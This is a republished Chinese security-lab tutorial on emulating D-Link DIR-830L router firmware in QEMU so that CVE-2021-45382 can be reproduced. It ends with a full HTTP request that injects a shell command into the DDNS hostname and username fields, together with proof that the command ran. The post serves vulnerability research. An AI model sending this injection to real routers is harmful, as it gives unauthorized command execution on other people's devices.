使用QEMU进行IOT固件的虚拟环境搭建

IoT 2年前 (2022) admin
556 0 0

星期五实验室

阅读须知
星期五实验室的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息造成的直接或间接后果和损失,均由使用者本人负责。

星期五实验室拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他。




01

实验环境

使用QEMU进行IOT固件的虚拟环境搭建
ubuntu18.04
binwalk v2.1.1
路由器固件:DIR830LA1_FW100B07


➜  ~ qemu-system-mips --versionQEMU emulator version 2.11.1(Debian 1:2.11+dfsg-1ubuntu7.40)Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers



环境安装相关指令

git clone https://github.com/devttys0/binwalk.git #安装binwalksudo apt-get install qemu qemu-system qemu-user-static binfmt-support #安装qemusudo apt-get install build-essential liblzma-dev liblzo2-dev zlib1g-dev #安装C/C++编译器、liblzma、liblzo 和 zlib 相关依赖库#安装sasquatchgit clone https://github.com/devttys0/sasquatch.gitcd sasquatchchmod +x build.sh./build.sh



下载固件

迅雷下载:
ftp://ftp2.dlink.com/PRODUCTS/DIR-830L/REVA/DIR-830L_REVA_FIRMWARE_1.00.B07.ZI

此为D-Link DIR-830LA1路由器固件DIR830LA1_FW100B07下载链接,解压后可以看到bin文件
使用QEMU进行IOT固件的虚拟环境搭建



binwalk提取文件系统


binwalk -Me DIR830LA1_FW100B07.bin


然后binwalk会提取出bin中的文件
➜  CVE-2021-45382 D-Link lsDIR830LA1_FW100B07.bin  _DIR830LA1_FW100B07.bin.extracted


这决定了一会使用qemu的哪个架构。
MIPS决定了一会用mips,MSBLSB决定一会用mips还是mipsel32-bit决定是用mips还是mips32
这里是32-bit的MSB,所以选择使用qemu-system-mips。



02

网络配置

使用QEMU进行IOT固件的虚拟环境搭建

网络配置我基本上是小白,看着大佬怎么配我就怎么配。
大概意思是我们需要桥接一个网卡,用于qemu和本机通信。
tunctl –t top0 –u rootifconfig top0 192.168.10.1/24ifconfig


使用三条指令后,ifconfig里应该会出现


使用QEMU进行IOT固件的虚拟环境搭建


这样的一个新网口。现在就可以配置QEMU虚拟机了



配置QEMU虚拟环境

下载对应系统内核
我是直接在_DIR830LA1_FW100B07.bin.extracted文件夹下执行以下两个指令
curl https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-maltacurl https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2


然后在这个路径下touch一个init.sh,内容为:
#!/bin/sh qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0 -nographic


其中-nographic 代表不新起一个qemu窗口。
写好后直接sudo ./init.sh即可。


然后会跳出debian-mips的登陆界面,用户名和密码都是root


使用QEMU进行IOT固件的虚拟环境搭建


现在要把虚拟机和本机都配置到一个网段下:

ifconfig eth0 192.168.10.2/24

此时虚拟机和本机应该是可以互相ping通的


使用QEMU进行IOT固件的虚拟环境搭建


回到本机,在_DIR830LA1_FW100B07.bin.extracted文件夹下执行
tar -czvf 1.tar squashfs-root/
将系统文件打包,然后用scp传输到虚拟机中
scp 1.tar root@192.168.10.2:/root/


使用QEMU进行IOT固件的虚拟环境搭建


转到虚拟机,可以看到1.tar已经在目录下


使用QEMU进行IOT固件的虚拟环境搭建


解压

tarzxvf 1.tar

然后将系统文件进行挂载

mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc/


然后就可以直接chroot进入路由器系统了

chroot ./squashfs-root/ sh


使用QEMU进行IOT固件的虚拟环境搭建



启动路由器服务


从这里开始每个路由器都不太一样了,一般的思路是去/etc/下找init相关文件,看哪个文件是启动文件。
这里我测试出Dlink的启动程序在/etc/init.d/rcS
使用ssh连接虚拟机
ssh root@192.168.10.2


使用chroot进入路由器系统,然后直接运行etc/init.d/rcS

使用QEMU进行IOT固件的虚拟环境搭建


执行后就会一直跳already enabled!
此时用主机访问192.168.10.2

使用QEMU进行IOT固件的虚拟环境搭建


路由器虚拟环境搭建成功



03

复现cve-2021-45382

使用QEMU进行IOT固件的虚拟环境搭建

在这个网页一直下一步,全部使用默认设置,直到配置完成。


使用QEMU进行IOT固件的虚拟环境搭建


然后等它倒数完就会直接进入登陆后的界面。


使用QEMU进行IOT固件的虚拟环境搭建

对该页面进行抓包,直接用转发到repeater构造POC。


cve的具体原理在此就不过多赘述了,毕竟这只是一个环境搭建的记录。

POST /ddns_check.ccp HTTP/1.1Host: 192.168.10.2Cookie: uid=AInkmYGrA6User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1If-Modified-Since: Tue, 26 Aug 2014 10:56:26 GMTTe: trailersConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 99
ccp_act=doCheck&ddnsHostName=;ls />/www/1.html;&ddnsUsername=;ls />/www/1.html;&ddnsPassword=123456


使用QEMU进行IOT固件的虚拟环境搭建
然后直接访问1.html


使用QEMU进行IOT固件的虚拟环境搭建
可以看到“ls /”已经被执行


FRIDAY LAB

  星期五实验室成立于2017年,汇集众多技术研究人员,在工业互联网安全前瞻技术研究方向上不断进取。星期五实验室由海内外知名高校的学院精英及来自于顶尖企业的行业专家组成,且大部分人员来自国际领先、国内知名的黑客战队——浙大AAA战队。作为木链科技专业的技术研发团队,星期五实验室凭借精湛的专业技术水平,为产品研发提供新思路、为行业技术革新探索新方向。
使用QEMU进行IOT固件的虚拟环境搭建
使用QEMU进行IOT固件的虚拟环境搭建
使用QEMU进行IOT固件的虚拟环境搭建
使用QEMU进行IOT固件的虚拟环境搭建
使用QEMU进行IOT固件的虚拟环境搭建

扫二维码|关注我们

星期五实验室
FRIDAY LAB


原文始发于微信公众号(星期五实验室):使用QEMU进行IOT固件的虚拟环境搭建

版权声明:admin 发表于 2022年10月18日 上午11:40。
转载请注明:使用QEMU进行IOT固件的虚拟环境搭建 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...